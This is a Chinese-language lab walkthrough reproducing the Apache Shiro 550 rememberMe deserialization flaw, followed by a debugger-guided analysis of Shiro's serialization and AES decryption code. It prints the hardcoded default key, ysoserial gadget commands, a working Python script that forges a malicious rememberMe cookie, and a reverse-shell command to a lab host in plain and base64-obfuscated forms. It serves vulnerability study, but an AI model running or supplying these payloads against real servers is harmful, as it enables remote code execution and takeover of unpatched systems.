shiro 反序列化漏洞复现

漏洞详情

Apache Shiro 是一个开源安全框架，提供身份验证、授权、密码学和会话管理。在它编号为 550 的 issue 中爆出严重的 Java 反序列化漏洞。

在 Apache Shiro<=1.2.4 版本中 AES 加密时采用的 key 是硬编码在代码中的，这就为伪造 cookie 提供了机会。只要 rememberMe 的 AES 加密密钥泄露，无论 shiro 是什么版本都会导致反序列化漏洞。

Shiro 的 “记住我” 功能是设置 cookie 中的 rememberMe 值来实现。当后端接收到来自未经身份验证的用户的请求时，它将通过执行以下操作来寻找他们记住的身份：

检索 cookie 中 RememberMe 的值
Base64 解码
使用 AES 解密
反序列化

漏洞原因在于第三步，在 Apache Shiro<=1.2.4 版本中 AES 加密时采用的 key 是硬编码在代码中的，于是我们就可以构造 RememberMe 的值，然后让其反序列化执行。

只要 rememberMe 的 AES 加密密钥泄露，无论 shiro 是什么版本都会导致反序列化漏洞。

环境搭建

Windows10 + IDEA

shiro 1.2.4

tomcat 8.5.73

下载 shiro 1.2.4

github地址: https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4

或者 clone shiro源码 , 切换 1.2.4 有漏洞的版本

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git clone https://github.com/apache/shiro.git  
cd shiro
git checkout shiro-root-1.2.4

使用 IDEA 进行环境搭建

打开 samples/web/pom.xml , 支持 jsp

<dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>jstl</artifactId>
    <!--  这里需要将jstl设置为1.2 -->
    <version>1.2</version>
    <scope>runtime</scope>
</dependency>
<dependency>
    <!--  添加commons-collections4 -->
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

使用 IDEA 运行 , 先配置运行环境

添加 TomcatSever (local) , 配置 Tomcat 路径

tomcat8 下载地址: https://tomcat.apache.org/download-80.cgi

添加部署工件 “samples-web:war“

详细配置信息

运行截图

使用 Vulhub Docker 搭建

1 2	cd vulhub/shiro/CVE-2016-4437 docker-compose up -d

漏洞复现

payload生成过程

1	命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值

vulhub Docker 环境

使用ysoserial生成CommonsBeanutils1的Gadget：

1 2	java -jar ./ysoserial.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser java -jar ./ysoserial.jar CommonsCollections2 "touch /tmp/success" > poc.ser

ysoserial 项目地址: https://github.com/frohoff/ysoserial

shiro 1.2.4 版本 , 使用的是默认key: kPH+bIxk5D2deZiIxcaaaA==

AES加密 cc链 , 为rememberMe的Cookie值

import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'CommonsBeanutils1', command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])  
    # payload = encode_rememberme("touch /tmp/123456")
    # with open("payload.cookie", "w") as fpw:
        # print("rememberMe={}".format(payload.decode()), file=fpw)
    print("rememberMe={}".format(payload.decode()))

运行脚本, 得到payload

1	python test.py "touch /tmp/123456"

发送请求包

1 2	// 加 -I 是只看响应头，这里主要关注set-cookie:rememberMe curl -X GET http://192.168.56.106:8080/ --cookie “xxxxxxxxxxxxx” -I

或者使用Burp抓包发送

查看靶机, 可以看到已经生成了

反弹shell

1	bash -i >& /dev/tcp/192.168.56.1/9090 0>&1

但是这条命令却没有成功执行, 应该是部分字符被编码导致的

bash命令混淆, https://www.jackson-t.ca/runtime-exec-payloads.html

1	bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEvOTA5MCAwPiYx}\|{base64,-d}\|{bash,-i}

成功接收命令 , 反弹shell成功

windows 10 + IDEA

添加 commons-collections4 , 这样才能使用 CommonsCollections2 链进行攻击

打开 samples/web/pom.xml

<dependency>
    <!--  添加commons-collections4 -->
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

使用 CommonsCollections2 链 ,

1	python .\test.py "ping 4bwtjr.dnslog.cn"

漏洞原理

Shiro 550 反序列化漏洞存在版本：shiro <1.2.4，产生原因是因为shiro接受了Cookie里面rememberMe的值，然后去进行Base64解密后，再使用aes密钥解密后的数据，进行反序列化。

反过来思考一下，如果我们构造该值为一个cc链序列化后的值进行该密钥aes加密后进行base64加密，那么这时候就会去进行反序列化我们的payload内容，这时候就可以达到一个命令执行的效果。

1	获取rememberMe值 -> Base64解密 -> AES解密 -> 调用readobject反序列化操作

序列化过程

先找到硬编码 key 的位置

1	org/apache/shiro/mgt/AbstractRememberMeManager.java

向上溯源：找到RememberMeManager类的onSuccessfulLogin方法

onSuccessfulLogin : 处理成功登录的过程

在这里下一个断点 , 调试运行

浏览器登录 , 查看调试信息

ps : 记得勾选 rememberMe

IDEA 调试信息

跳转进入 forgetIdentity 函数 ,

继续跟进this.forgetIdentity方法，进入了getCookie的removeFrom方法

跟进removeFrom方法

这里获取看配置信息，最后 addCookieHeader 放到了返回包中的cookie头中，

其中就有熟悉的 deleteMe 字段和 rememberMe 字段，

继续回到 onSuccessfulLogin 方法 , 这个isRememberMe主要是检查选择了remember me这个按钮没有

在rememberIdentity方法中，authcInfo的值就是我们输入root用户名

进入convertPrincipalsToBytes方法，发现它会序列化，而且序列化的是传入的root用户名

然后就是进行普通的序列化操作，再然后调用encrypto方法加密序列化后的二进制字节

getCipherService 获取加密服务，加密方法为 AES/CBC/PKCS5Padding

getEncryptionCipherKey() 方法获取加密密钥KEY

经过一系列跳转后, 拿到KEY

DEFAULT_CIPHER_KEY_BYTES : kPH+bIxk5D2deZiIxcaaaA==

1	ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());

传入 encrypt 函数 (root , “kPH+bIxk5D2deZiIxcaaaA==”)

回到 rememberIdentity 方法

跟进 rememberSerializedIdentity 方法 , 进行SetCookie

反序列化过程

在 getRememberedPrincipals 方法下断点

跟进getRememberedSerializedIdentity 方法，读取 Cookie 中的数据

readValue方法，读取 Cookie中的字段 name： rememberMe

然后把Cookie 赋值给 value , 返回上一级函数

对base64 进行解码

再次回到AbstractRememberMeManager 类

进入 convertBytesToPrincipals 方法，这就是对应加密的解析数据，中间肯定要解密数据，继续跟入

跟进 decrypt 解密函数

getCipherService() 获取加解密方法, AES/CBC/PKCS5Padding

getDecryptionCipherKey() 获取解密KEY , kPH+bIxk5D2deZiIxcaaaA==

跟进 JcaCipherService 的decrypt 函数

public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {
        byte[] encrypted = ciphertext;
        byte[] iv = null;
        if (isGenerateInitializationVectors(false)) {
            try {
                int ivSize = getInitializationVectorSize();
                int ivByteSize = ivSize / BITS_PER_BYTE;
                iv = new byte[ivByteSize];
                System.arraycopy(ciphertext, 0, iv, 0, ivByteSize);

                int encryptedSize = ciphertext.length - ivByteSize;
                encrypted = new byte[encryptedSize];
                System.arraycopy(ciphertext, ivByteSize, encrypted, 0, encryptedSize);
            } catch (Exception e) {
                String msg = "Unable to correctly extract the Initialization Vector or ciphertext.";
                throw new CryptoException(msg, e);
            }
        }

        return decrypt(encrypted, key, iv);
    }